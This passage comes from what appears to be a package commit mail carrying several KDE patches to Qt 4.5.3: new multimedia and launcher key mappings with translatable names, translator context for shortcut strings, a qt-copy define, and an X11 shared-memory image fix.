+    XF86XK_ClearGrab,           Qt::Key_ClearGrab,
+    XF86XK_Close,               Qt::Key_Close,
+    XF86XK_Copy,                Qt::Key_Copy,
+    XF86XK_Cut,                 Qt::Key_Cut,
+    XF86XK_Display,             Qt::Key_Display,
+    XF86XK_DOS,                 Qt::Key_DOS,
+    XF86XK_Documents,           Qt::Key_Documents,
+    XF86XK_Excel,               Qt::Key_Excel,
+    XF86XK_Explorer,            Qt::Key_Explorer,
+    XF86XK_Game,                Qt::Key_Game,
+    XF86XK_Go,                  Qt::Key_Go,
+    XF86XK_iTouch,              Qt::Key_iTouch,
+    XF86XK_LogOff,              Qt::Key_LogOff,
+    XF86XK_Market,              Qt::Key_Market,
+    XF86XK_Meeting,             Qt::Key_Meeting,
+    XF86XK_MenuKB,              Qt::Key_MenuKB,
+    XF86XK_MenuPB,              Qt::Key_MenuPB,
+    XF86XK_MySites,             Qt::Key_MySites,
+    XF86XK_News,                Qt::Key_News,
+    XF86XK_OfficeHome,          Qt::Key_OfficeHome,
+    XF86XK_Option,              Qt::Key_Option,
+    XF86XK_Paste,               Qt::Key_Paste,
+    XF86XK_Phone,               Qt::Key_Phone,
+    XF86XK_Reply,               Qt::Key_Reply,
+    XF86XK_Reload,              Qt::Key_Reload,
+    XF86XK_RotateWindows,       Qt::Key_RotateWindows,
+    XF86XK_RotationPB,          Qt::Key_RotationPB,
+    XF86XK_RotationKB,          Qt::Key_RotationKB,
+    XF86XK_Save,                Qt::Key_Save,
+    XF86XK_Send,                Qt::Key_Send,
+    XF86XK_Spell,               Qt::Key_Spell,
+    XF86XK_SplitScreen,         Qt::Key_SplitScreen,
+    XF86XK_Support,             Qt::Key_Support,
+    XF86XK_TaskPane,            Qt::Key_TaskPane,
+    XF86XK_Terminal,            Qt::Key_Terminal,
+    XF86XK_Tools,               Qt::Key_Tools,
+    XF86XK_Travel,              Qt::Key_Travel,
+    XF86XK_Video,               Qt::Key_Video,
+    XF86XK_Word,                Qt::Key_Word,
+    XF86XK_Xfer,                Qt::Key_Xfer,
+    XF86XK_ZoomIn,              Qt::Key_ZoomIn,
+    XF86XK_ZoomOut,             Qt::Key_ZoomOut,
+    XF86XK_Away,                Qt::Key_Away,
+    XF86XK_Messenger,           Qt::Key_Messenger,
+    XF86XK_WebCam,              Qt::Key_WebCam,
+    XF86XK_MailForward,         Qt::Key_MailForward,
+    XF86XK_Pictures,            Qt::Key_Pictures,
+    XF86XK_Music,               Qt::Key_Music,
+    XF86XK_Battery,             Qt::Key_Battery,
+    XF86XK_Bluetooth,           Qt::Key_Bluetooth,
+    XF86XK_WLAN,                Qt::Key_WLAN,
+    XF86XK_UWB,                 Qt::Key_UWB,
+    XF86XK_AudioForward,        Qt::Key_AudioForward,
+    XF86XK_AudioRepeat,         Qt::Key_AudioRepeat,
+    XF86XK_AudioRandomPlay,     Qt::Key_AudioRandomPlay,
+    XF86XK_Subtitle,            Qt::Key_Subtitle,
+    XF86XK_AudioCycleTrack,     Qt::Key_AudioCycleTrack,
+    XF86XK_Time,                Qt::Key_Time,
+    XF86XK_Select,              Qt::Key_Select,
+    XF86XK_View,                Qt::Key_View,
+    XF86XK_TopMenu,             Qt::Key_TopMenu,
+    XF86XK_Bluetooth,           Qt::Key_Bluetooth,
+    XF86XK_Suspend,             Qt::Key_Suspend,
+    XF86XK_Hibernate,           Qt::Key_Hibernate,
     XF86XK_Launch0,             Qt::Key_Launch2,
     XF86XK_Launch1,             Qt::Key_Launch3,
     XF86XK_Launch2,             Qt::Key_Launch4,
diff --git a/src/gui/kernel/qkeysequence.cpp b/src/gui/kernel/qkeysequence.cpp
index 894f663..665c058 100644
--- a/src/gui/kernel/qkeysequence.cpp
+++ b/src/gui/kernel/qkeysequence.cpp
@@ -396,47 +396,139 @@ static const struct {
     { Qt::Key_Menu,         QT_TRANSLATE_NOOP("QShortcut", "Menu") },
     { Qt::Key_Help,         QT_TRANSLATE_NOOP("QShortcut", "Help") },
 
-    // Multimedia keys
-    { Qt::Key_Back,         QT_TRANSLATE_NOOP("QShortcut", "Back") },
-    { Qt::Key_Forward,      QT_TRANSLATE_NOOP("QShortcut", "Forward") },
-    { Qt::Key_Stop,         QT_TRANSLATE_NOOP("QShortcut", "Stop") },
-    { Qt::Key_Refresh,      QT_TRANSLATE_NOOP("QShortcut", "Refresh") },
-    { Qt::Key_VolumeDown,   QT_TRANSLATE_NOOP("QShortcut", "Volume Down") },
-    { Qt::Key_VolumeMute,   QT_TRANSLATE_NOOP("QShortcut", "Volume Mute") },
-    { Qt::Key_VolumeUp,     QT_TRANSLATE_NOOP("QShortcut", "Volume Up") },
-    { Qt::Key_BassBoost,    QT_TRANSLATE_NOOP("QShortcut", "Bass Boost") },
-    { Qt::Key_BassUp,       QT_TRANSLATE_NOOP("QShortcut", "Bass Up") },
-    { Qt::Key_BassDown,     QT_TRANSLATE_NOOP("QShortcut", "Bass Down") },
-    { Qt::Key_TrebleUp,     QT_TRANSLATE_NOOP("QShortcut", "Treble Up") },
-    { Qt::Key_TrebleDown,   QT_TRANSLATE_NOOP("QShortcut", "Treble Down") },
-    { Qt::Key_MediaPlay,    QT_TRANSLATE_NOOP("QShortcut", "Media Play") },
-    { Qt::Key_MediaStop,    QT_TRANSLATE_NOOP("QShortcut", "Media Stop") },
-    { Qt::Key_MediaPrevious,QT_TRANSLATE_NOOP("QShortcut", "Media Previous") },
-    { Qt::Key_MediaNext,    QT_TRANSLATE_NOOP("QShortcut", "Media Next") },
-    { Qt::Key_MediaRecord,  QT_TRANSLATE_NOOP("QShortcut", "Media Record") },
-    { Qt::Key_HomePage,     QT_TRANSLATE_NOOP("QShortcut", "Home Page") },
-    { Qt::Key_Favorites,    QT_TRANSLATE_NOOP("QShortcut", "Favorites") },
-    { Qt::Key_Search,       QT_TRANSLATE_NOOP("QShortcut", "Search") },
-    { Qt::Key_Standby,      QT_TRANSLATE_NOOP("QShortcut", "Standby") },
-    { Qt::Key_OpenUrl,      QT_TRANSLATE_NOOP("QShortcut", "Open URL") },
-    { Qt::Key_LaunchMail,   QT_TRANSLATE_NOOP("QShortcut", "Launch Mail") },
-    { Qt::Key_LaunchMedia,  QT_TRANSLATE_NOOP("QShortcut", "Launch Media") },
-    { Qt::Key_Launch0,      QT_TRANSLATE_NOOP("QShortcut", "Launch (0)") },
-    { Qt::Key_Launch1,      QT_TRANSLATE_NOOP("QShortcut", "Launch (1)") },
-    { Qt::Key_Launch2,      QT_TRANSLATE_NOOP("QShortcut", "Launch (2)") },
-    { Qt::Key_Launch3,      QT_TRANSLATE_NOOP("QShortcut", "Launch (3)") },
-    { Qt::Key_Launch4,      QT_TRANSLATE_NOOP("QShortcut", "Launch (4)") },
-    { Qt::Key_Launch5,      QT_TRANSLATE_NOOP("QShortcut", "Launch (5)") },
-    { Qt::Key_Launch6,      QT_TRANSLATE_NOOP("QShortcut", "Launch (6)") },
-    { Qt::Key_Launch7,      QT_TRANSLATE_NOOP("QShortcut", "Launch (7)") },
-    { Qt::Key_Launch8,      QT_TRANSLATE_NOOP("QShortcut", "Launch (8)") },
-    { Qt::Key_Launch9,      QT_TRANSLATE_NOOP("QShortcut", "Launch (9)") },
-    { Qt::Key_LaunchA,      QT_TRANSLATE_NOOP("QShortcut", "Launch (A)") },
-    { Qt::Key_LaunchB,      QT_TRANSLATE_NOOP("QShortcut", "Launch (B)") },
-    { Qt::Key_LaunchC,      QT_TRANSLATE_NOOP("QShortcut", "Launch (C)") },
-    { Qt::Key_LaunchD,      QT_TRANSLATE_NOOP("QShortcut", "Launch (D)") },
-    { Qt::Key_LaunchE,      QT_TRANSLATE_NOOP("QShortcut", "Launch (E)") },
-    { Qt::Key_LaunchF,      QT_TRANSLATE_NOOP("QShortcut", "Launch (F)") },
+    // Special keys
+    // Includes multimedia, launcher, lan keys ( bluetooth, wireless )
+    // window navigation
+    { Qt::Key_Back,                       QT_TRANSLATE_NOOP("QShortcut", "Back") },
+    { Qt::Key_Forward,                    QT_TRANSLATE_NOOP("QShortcut", "Forward") },
+    { Qt::Key_Stop,                       QT_TRANSLATE_NOOP("QShortcut", "Stop") },
+    { Qt::Key_Refresh,                    QT_TRANSLATE_NOOP("QShortcut", "Refresh") },
+    { Qt::Key_VolumeDown,                 QT_TRANSLATE_NOOP("QShortcut", "Volume Down") },
+    { Qt::Key_VolumeMute,                 QT_TRANSLATE_NOOP("QShortcut", "Volume Mute") },
+    { Qt::Key_VolumeUp,                   QT_TRANSLATE_NOOP("QShortcut", "Volume Up") },
+    { Qt::Key_BassBoost,                  QT_TRANSLATE_NOOP("QShortcut", "Bass Boost") },
+    { Qt::Key_BassUp,                     QT_TRANSLATE_NOOP("QShortcut", "Bass Up") },
+    { Qt::Key_BassDown,                   QT_TRANSLATE_NOOP("QShortcut", "Bass Down") },
+    { Qt::Key_TrebleUp,                   QT_TRANSLATE_NOOP("QShortcut", "Treble Up") },
+    { Qt::Key_TrebleDown,                 QT_TRANSLATE_NOOP("QShortcut", "Treble Down") },
+    { Qt::Key_MediaPlay,                  QT_TRANSLATE_NOOP("QShortcut", "Media Play") },
+    { Qt::Key_MediaStop,                  QT_TRANSLATE_NOOP("QShortcut", "Media Stop") },
+    { Qt::Key_MediaPrevious,              QT_TRANSLATE_NOOP("QShortcut", "Media Previous") },
+    { Qt::Key_MediaNext,                  QT_TRANSLATE_NOOP("QShortcut", "Media Next") },
+    { Qt::Key_MediaRecord,                QT_TRANSLATE_NOOP("QShortcut", "Media Record") },
+    { Qt::Key_HomePage,                   QT_TRANSLATE_NOOP("QShortcut", "Home Page") },
+    { Qt::Key_Favorites,                  QT_TRANSLATE_NOOP("QShortcut", "Favorites") },
+    { Qt::Key_Search,                     QT_TRANSLATE_NOOP("QShortcut", "Search") },
+    { Qt::Key_Standby,                    QT_TRANSLATE_NOOP("QShortcut", "Standby") },
+    { Qt::Key_OpenUrl,                    QT_TRANSLATE_NOOP("QShortcut", "Open URL") },
+    { Qt::Key_LaunchMail,                 QT_TRANSLATE_NOOP("QShortcut", "Launch Mail") },
+    { Qt::Key_LaunchMedia,                QT_TRANSLATE_NOOP("QShortcut", "Launch Media") },
+    { Qt::Key_Launch0,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (0)") },
+    { Qt::Key_Launch1,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (1)") },
+    { Qt::Key_Launch2,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (2)") },
+    { Qt::Key_Launch3,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (3)") },
+    { Qt::Key_Launch4,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (4)") },
+    { Qt::Key_Launch5,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (5)") },
+    { Qt::Key_Launch6,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (6)") },
+    { Qt::Key_Launch7,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (7)") },
+    { Qt::Key_Launch8,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (8)") },
+    { Qt::Key_Launch9,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (9)") },
+    { Qt::Key_LaunchA,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (A)") },
+    { Qt::Key_LaunchB,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (B)") },
+    { Qt::Key_LaunchC,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (C)") },
+    { Qt::Key_LaunchD,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (D)") },
+    { Qt::Key_LaunchE,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (E)") },
+    { Qt::Key_LaunchF,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (F)") },
+    { Qt::Key_MonBrightnessUp,            QT_TRANSLATE_NOOP("QShortcut", "Monitor Brightness Up") },
+    { Qt::Key_MonBrightnessDown,          QT_TRANSLATE_NOOP("QShortcut", "Monitor Brightness Down") },
+    { Qt::Key_KeyboardLightOnOff,         QT_TRANSLATE_NOOP("QShortcut", "Keyboard Light On/Off") },
+    { Qt::Key_KeyboardBrightnessUp,       QT_TRANSLATE_NOOP("QShortcut", "Keyboard Brightness Up") },
+    { Qt::Key_KeyboardBrightnessDown,     QT_TRANSLATE_NOOP("QShortcut", "Keyboard Brightness Down") },
+    { Qt::Key_PowerOff,                   QT_TRANSLATE_NOOP("QShortcut", "Power Off") },
+    { Qt::Key_WakeUp,                     QT_TRANSLATE_NOOP("QShortcut", "Wake Up") },
+    { Qt::Key_Eject,                      QT_TRANSLATE_NOOP("QShortcut", "Eject") },
+    { Qt::Key_ScreenSaver,                QT_TRANSLATE_NOOP("QShortcut", "Screensaver") },
+    { Qt::Key_WWW,                        QT_TRANSLATE_NOOP("QShortcut", "WWW") },
+    { Qt::Key_Sleep,                      QT_TRANSLATE_NOOP("QShortcut", "Sleep") },
+    { Qt::Key_LightBulb,                  QT_TRANSLATE_NOOP("QShortcut", "LightBulb") },
+    { Qt::Key_Shop,                       QT_TRANSLATE_NOOP("QShortcut", "Shop") },
+    { Qt::Key_History,                    QT_TRANSLATE_NOOP("QShortcut", "History") },
+    { Qt::Key_AddFavorite,                QT_TRANSLATE_NOOP("QShortcut", "Add Favorite") },
+    { Qt::Key_HotLinks,                   QT_TRANSLATE_NOOP("QShortcut", "Hot Links") },
+    { Qt::Key_BrightnessAdjust,           QT_TRANSLATE_NOOP("QShortcut", "Adjust Brightness") },
+    { Qt::Key_Finance,                    QT_TRANSLATE_NOOP("QShortcut", "Finance") },
+    { Qt::Key_Community,                  QT_TRANSLATE_NOOP("QShortcut", "Community") },
+    { Qt::Key_AudioRewind,                QT_TRANSLATE_NOOP("QShortcut", "Audio Rewind") },
+    { Qt::Key_BackForward,                QT_TRANSLATE_NOOP("QShortcut", "Back Forward") },
+    { Qt::Key_ApplicationLeft,            QT_TRANSLATE_NOOP("QShortcut", "Application Left") },
+    { Qt::Key_ApplicationRight,           QT_TRANSLATE_NOOP("QShortcut", "Application Right") },
+    { Qt::Key_Book,                       QT_TRANSLATE_NOOP("QShortcut", "Book") },
+    { Qt::Key_CD,                         QT_TRANSLATE_NOOP("QShortcut", "CD") },
+    { Qt::Key_Calculator,                 QT_TRANSLATE_NOOP("QShortcut", "Calculator") },
+    { Qt::Key_Clear,                      QT_TRANSLATE_NOOP("QShortcut", "Clear") },
+    { Qt::Key_ClearGrab,                  QT_TRANSLATE_NOOP("QShortcut", "Clear Grab") },
+    { Qt::Key_Close,                      QT_TRANSLATE_NOOP("QShortcut", "Close") },
+    { Qt::Key_Copy,                       QT_TRANSLATE_NOOP("QShortcut", "Copy") },
+    { Qt::Key_Cut,                        QT_TRANSLATE_NOOP("QShortcut", "Cut") },
+    { Qt::Key_Display,                    QT_TRANSLATE_NOOP("QShortcut", "Display") },
+    { Qt::Key_DOS,                        QT_TRANSLATE_NOOP("QShortcut", "DOS") },
+    { Qt::Key_Documents,                  QT_TRANSLATE_NOOP("QShortcut", "Documents") },
+    { Qt::Key_Excel,                      QT_TRANSLATE_NOOP("QShortcut", "Spreadsheet") },
+    { Qt::Key_Explorer,                   QT_TRANSLATE_NOOP("QShortcut", "Browser") },
+    { Qt::Key_Game,                       QT_TRANSLATE_NOOP("QShortcut", "Game") },
+    { Qt::Key_Go,                         QT_TRANSLATE_NOOP("QShortcut", "Go") },
+    { Qt::Key_iTouch,                     QT_TRANSLATE_NOOP("QShortcut", "iTouch") },
+    { Qt::Key_LogOff,                     QT_TRANSLATE_NOOP("QShortcut", "Logoff") },
+    { Qt::Key_Market,                     QT_TRANSLATE_NOOP("QShortcut", "Market") },
+    { Qt::Key_Meeting,                    QT_TRANSLATE_NOOP("QShortcut", "Meeting") },
+    { Qt::Key_MenuKB,                     QT_TRANSLATE_NOOP("QShortcut", "Keyboard Menu") },
+    { Qt::Key_MenuPB,                     QT_TRANSLATE_NOOP("QShortcut", "Menu PB") },
+    { Qt::Key_MySites,                    QT_TRANSLATE_NOOP("QShortcut", "My Sites") },
+    { Qt::Key_News,                       QT_TRANSLATE_NOOP("QShortcut", "News") },
+    { Qt::Key_OfficeHome,                 QT_TRANSLATE_NOOP("QShortcut", "Home Office") },
+    { Qt::Key_Option,                     QT_TRANSLATE_NOOP("QShortcut", "Option") },
+    { Qt::Key_Paste,                      QT_TRANSLATE_NOOP("QShortcut", "Paste") },
+    { Qt::Key_Phone,                      QT_TRANSLATE_NOOP("QShortcut", "Phone") },
+    { Qt::Key_Reply,                      QT_TRANSLATE_NOOP("QShortcut", "Reply") },
+    { Qt::Key_Reload,                     QT_TRANSLATE_NOOP("QShortcut", "Reload") },
+    { Qt::Key_RotateWindows,              QT_TRANSLATE_NOOP("QShortcut", "Rotate Windows") },
+    { Qt::Key_RotationPB,                 QT_TRANSLATE_NOOP("QShortcut", "Rotation PB") },
+    { Qt::Key_RotationKB,                 QT_TRANSLATE_NOOP("QShortcut", "Rotation KB") },
+    { Qt::Key_Save,                       QT_TRANSLATE_NOOP("QShortcut", "Save") },
+    { Qt::Key_Send,                       QT_TRANSLATE_NOOP("QShortcut", "Send") },
+    { Qt::Key_Spell,                      QT_TRANSLATE_NOOP("QShortcut", "Spellchecker") },
+    { Qt::Key_SplitScreen,                QT_TRANSLATE_NOOP("QShortcut", "Split Screen") },
+    { Qt::Key_Support,                    QT_TRANSLATE_NOOP("QShortcut", "Support") },
+    { Qt::Key_TaskPane,                   QT_TRANSLATE_NOOP("QShortcut", "Task Panel") },
+    { Qt::Key_Terminal,                   QT_TRANSLATE_NOOP("QShortcut", "Terminal") },
+    { Qt::Key_Tools,                      QT_TRANSLATE_NOOP("QShortcut", "Tools") },
+    { Qt::Key_Travel,                     QT_TRANSLATE_NOOP("QShortcut", "Travel") },
+    { Qt::Key_Video,                      QT_TRANSLATE_NOOP("QShortcut", "Video") },
+    { Qt::Key_Word,                       QT_TRANSLATE_NOOP("QShortcut", "Word Processor") },
+    { Qt::Key_Xfer,                       QT_TRANSLATE_NOOP("QShortcut", "XFer") },
+    { Qt::Key_ZoomIn,                     QT_TRANSLATE_NOOP("QShortcut", "Zoom In") },
+    { Qt::Key_ZoomOut,                    QT_TRANSLATE_NOOP("QShortcut", "Zoom Out") },
+    { Qt::Key_Away,                       QT_TRANSLATE_NOOP("QShortcut", "Away") },
+    { Qt::Key_Messenger,                  QT_TRANSLATE_NOOP("QShortcut", "Messenger") },
+    { Qt::Key_WebCam,                     QT_TRANSLATE_NOOP("QShortcut", "WebCam") },
+    { Qt::Key_MailForward,                QT_TRANSLATE_NOOP("QShortcut", "Mail Forward") },
+    { Qt::Key_Pictures,                   QT_TRANSLATE_NOOP("QShortcut", "Pictures") },
+    { Qt::Key_Music,                      QT_TRANSLATE_NOOP("QShortcut", "Music") },
+    { Qt::Key_Battery,                    QT_TRANSLATE_NOOP("QShortcut", "Battery") },
+    { Qt::Key_Bluetooth,                  QT_TRANSLATE_NOOP("QShortcut", "Bluetooth") },
+    { Qt::Key_WLAN,                       QT_TRANSLATE_NOOP("QShortcut", "Wireless") },
+    { Qt::Key_UWB,                        QT_TRANSLATE_NOOP("QShortcut", "Ultra Wide Band") },
+    { Qt::Key_AudioForward,               QT_TRANSLATE_NOOP("QShortcut", "Audio Forward") },
+    { Qt::Key_AudioRepeat,                QT_TRANSLATE_NOOP("QShortcut", "Audio Repeat") },
+    { Qt::Key_AudioRandomPlay,            QT_TRANSLATE_NOOP("QShortcut", "Audio Random Play") },
+    { Qt::Key_Subtitle,                   QT_TRANSLATE_NOOP("QShortcut", "Subtitle") },
+    { Qt::Key_AudioCycleTrack,            QT_TRANSLATE_NOOP("QShortcut", "Audio Cycle Track") },
+    { Qt::Key_Time,                       QT_TRANSLATE_NOOP("QShortcut", "Time") },
+    { Qt::Key_Select,                     QT_TRANSLATE_NOOP("QShortcut", "Select") },
+    { Qt::Key_View,                       QT_TRANSLATE_NOOP("QShortcut", "View") },
+    { Qt::Key_TopMenu,                    QT_TRANSLATE_NOOP("QShortcut", "Top Menu") },
+    { Qt::Key_Suspend,                    QT_TRANSLATE_NOOP("QShortcut", "Suspend") },
+    { Qt::Key_Hibernate,                  QT_TRANSLATE_NOOP("QShortcut", "Hibernate") },
 
     // --------------------------------------------------------------
     // More consistent namings
-- 
1.6.2.5


0017-Add-context-to-tr-calls-in-QShortcut.patch:
 qkeysequence.cpp |   21 ++++++++++-----------
 1 file changed, 10 insertions(+), 11 deletions(-)

--- NEW FILE 0017-Add-context-to-tr-calls-in-QShortcut.patch ---
>From 9eb3560cfd5cd0bc9c7bf79f2c27657ee07b8f95 Mon Sep 17 00:00:00 2001
From: Albert Astals Cid <aacid at kde.org>
Date: Sat, 8 Aug 2009 14:40:25 +0200
Subject: [PATCH 17/18] Add context to tr calls in QShortcut

Some languages have special rules for using "+" to concatenate strings and
for example it needs to be Ctrl + Shift instead of Ctrl+Shift, adding
context to these strings helps creating a more correct translation
---
 src/gui/kernel/qkeysequence.cpp |   20 ++++++++++----------
 1 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/src/gui/kernel/qkeysequence.cpp b/src/gui/kernel/qkeysequence.cpp
index 894f663..c17f253 100644
--- a/src/gui/kernel/qkeysequence.cpp
+++ b/src/gui/kernel/qkeysequence.cpp
@@ -991,10 +991,10 @@ int QKeySequencePrivate::decodeString(const QString &str, QKeySequence::Sequence
 
     QList<QModifKeyName> modifs;
     if (nativeText) {
-        modifs << QModifKeyName(Qt::CTRL, QShortcut::tr("Ctrl").toLower().append(QLatin1Char('+')))
-               << QModifKeyName(Qt::SHIFT, QShortcut::tr("Shift").toLower().append(QLatin1Char('+')))
-               << QModifKeyName(Qt::ALT, QShortcut::tr("Alt").toLower().append(QLatin1Char('+')))
-               << QModifKeyName(Qt::META, QShortcut::tr("Meta").toLower().append(QLatin1Char('+')));
+        modifs << QModifKeyName(Qt::CTRL, QShortcut::tr("Ctrl", "Ctrl key, used for shortcuts").toLower().append(QLatin1Char('+')))
+               << QModifKeyName(Qt::SHIFT, QShortcut::tr("Shift", "Shift key, used for shortcuts").toLower().append(QLatin1Char('+')))
+               << QModifKeyName(Qt::ALT, QShortcut::tr("Alt", "Alt key, used for shortcuts").toLower().append(QLatin1Char('+')))
+               << QModifKeyName(Qt::META, QShortcut::tr("Meta", "Meta key, used for shortcuts").toLower().append(QLatin1Char('+')));
     }
     modifs += *gmodifs; // Test non-translated ones last
 
@@ -1086,7 +1086,7 @@ QString QKeySequence::encodeString(int key)
 static inline void addKey(QString &str, const QString &theKey, QKeySequence::SequenceFormat format)
 {
     if (!str.isEmpty())
-        str += (format == QKeySequence::NativeText) ? QShortcut::tr("+")
+        str += (format == QKeySequence::NativeText) ? QShortcut::tr("+", "Symbol used to concatenate keys in shortcuts")
                                                     : QString::fromLatin1("+");
     str += theKey;
 }
@@ -1111,13 +1111,13 @@ QString QKeySequencePrivate::encodeString(int key, QKeySequence::SequenceFormat
     {
         // On other systems the order is Meta, Control, Alt, Shift
         if ((key & Qt::META) == Qt::META)
-            s = nativeText ? QShortcut::tr("Meta") : QString::fromLatin1("Meta");
+            s = nativeText ? QShortcut::tr("Meta", "Meta key, used for shortcuts") : QString::fromLatin1("Meta");
         if ((key & Qt::CTRL) == Qt::CTRL)
-            addKey(s, nativeText ? QShortcut::tr("Ctrl") : QString::fromLatin1("Ctrl"), format);
+            addKey(s, nativeText ? QShortcut::tr("Ctrl", "Ctrl key, used for shortcuts") : QString::fromLatin1("Ctrl"), format);
         if ((key & Qt::ALT) == Qt::ALT)
-            addKey(s, nativeText ? QShortcut::tr("Alt") : QString::fromLatin1("Alt"), format);
+            addKey(s, nativeText ? QShortcut::tr("Alt", "Alt key, used for shortcuts") : QString::fromLatin1("Alt"), format);
         if ((key & Qt::SHIFT) == Qt::SHIFT)
-            addKey(s, nativeText ? QShortcut::tr("Shift") : QString::fromLatin1("Shift"), format);
+            addKey(s, nativeText ? QShortcut::tr("Shift", "Shift key, used for shortcuts") : QString::fromLatin1("Shift"), format);
     }
 
 
@@ -1132,7 +1132,7 @@ QString QKeySequencePrivate::encodeString(int key, QKeySequence::SequenceFormat
             p += QChar((key-0x10000)%400+0xdc00);
         }
     } else if (key >= Qt::Key_F1 && key <= Qt::Key_F35) {
-            p = nativeText ? QShortcut::tr("F%1").arg(key - Qt::Key_F1 + 1)
+            p = nativeText ? QShortcut::tr("F%1", "Fx key, used for shortcuts").arg(key - Qt::Key_F1 + 1)
                            : QString::fromLatin1("F%1").arg(key - Qt::Key_F1 + 1);
     } else if (key) {
         int i=0;
-- 
1.6.2.5


0118-qtcopy-define.diff:
 qglobal.h |    5 +++++
 1 file changed, 5 insertions(+)

--- NEW FILE 0118-qtcopy-define.diff ---
qt-bugs@ issue : none
Trolltech task ID : none
applied: yes
author: David Faure <faure at kde.org>

Needed to distinguish qt-copy from released versions of qt, at least while
we backport API additions to qt-copy.

Index: src/corelib/global/qglobal.h
===================================================================
--- src/corelib/global/qglobal.h        (revision 536662)
+++ src/corelib/global/qglobal.h        (working copy)
@@ -38,6 +38,11 @@
 #include <QtCore/qconfig.h>
 #endif

+/* QT_KDE_QT_COPY is set in qt-copy so that we know when we can use features backported to qt-copy
+   Keep in mind that it should also work with the right release of Qt, so use something like:
+      #if defined(QT_KDE_QT_COPY) || QT_VERSION >= 0x040200 */
+#define QT_KDE_QT_COPY
+
 /*
    The operating system, must be one of: (Q_OS_x)


0274-shm-native-image-fix.patch:
 image/qnativeimage.cpp             |   11 +----------
 image/qnativeimage_p.h             |    1 -
 kernel/qapplication_x11.cpp        |    9 +++------
 painting/qwindowsurface_raster.cpp |   13 ++++++++++---
 4 files changed, 14 insertions(+), 20 deletions(-)

--- NEW FILE 0274-shm-native-image-fix.patch ---
diff -up qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp.me qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp
--- qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp.me	2009-10-02 18:26:02.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp	2009-10-02 18:27:13.000000000 +0200
@@ -144,7 +144,7 @@ QImage::Format QNativeImage::systemForma
 #elif defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
 
 QNativeImage::QNativeImage(int width, int height, QImage::Format format,bool /* isTextBuffer */, QWidget *widget)
-    : xshmimg(0), xshmpm(0)
+    : xshmimg(0)
 {
     if (!X11->use_mitshm) {
         image = QImage(width, height, format);
@@ -195,11 +195,6 @@ QNativeImage::QNativeImage(int width, in
             shmctl(xshminfo.shmid, IPC_RMID, 0);
         return;
     }
-    xshmpm = XShmCreatePixmap(X11->display, DefaultRootWindow(X11->display), xshmimg->data,
-                              &xshminfo, width, height, dd);
-    if (!xshmpm) {
-        qWarning() << "QNativeImage: Unable to create shared Pixmap.";
-    }
 }
 
 
@@ -208,10 +203,6 @@ QNativeImage::~QNativeImage()
     if (!xshmimg)
         return;
 
-    if (xshmpm) {
-        XFreePixmap(X11->display, xshmpm);
-        xshmpm = 0;
-    }
     XShmDetach(X11->display, &xshminfo);
     xshmimg->data = 0;
     XDestroyImage(xshmimg);
diff -up qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h.me qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h
--- qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h.me	2009-10-02 18:33:38.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h	2009-10-02 18:34:01.000000000 +0200
@@ -90,7 +90,6 @@ public:
 
 #elif defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
     XImage *xshmimg;
-    Pixmap xshmpm;
     XShmSegmentInfo xshminfo;
 
 #elif defined(Q_WS_MAC)
diff -up qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp.me qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp
--- qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp.me	2009-10-02 18:27:55.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp	2009-10-02 18:33:30.000000000 +0200
@@ -1959,12 +1959,9 @@ void qt_init(QApplicationPrivate *priv, 
             bool local = displayName.isEmpty() || displayName.lastIndexOf(QLatin1Char(':')) == 0;
             if (local && (qgetenv("QT_X11_NO_MITSHM").toInt() == 0)) {
                 Visual *defaultVisual = DefaultVisual(X11->display, DefaultScreen(X11->display));
-                X11->use_mitshm = mitshm_pixmaps && ((defaultVisual->red_mask == 0xff0000
-                                                      || defaultVisual->red_mask == 0xf800)
-                                                     && (defaultVisual->green_mask == 0xff00
-                                                         || defaultVisual->green_mask == 0x7e0)
-                                                     && (defaultVisual->blue_mask == 0xff
-                                                         || defaultVisual->blue_mask == 0x1f));
+                X11->use_mitshm = (defaultVisual->red_mask == 0xff0000 || defaultVisual->red_mask == 0xf800)
+                                   && (defaultVisual->green_mask == 0xff00 || defaultVisual->green_mask == 0x7e0)
+                                   && (defaultVisual->blue_mask == 0xff || defaultVisual->blue_mask == 0x1f);
             }
         }
 #endif // QT_NO_MITSHM
diff -up qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp.me qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp
--- qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp.me	2009-10-02 18:34:18.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp	2009-10-02 18:35:54.000000000 +0200
@@ -220,9 +220,16 @@ void QRasterWindowSurface::flush(QWidget
 
     QRect br = rgn.boundingRect().translated(offset);
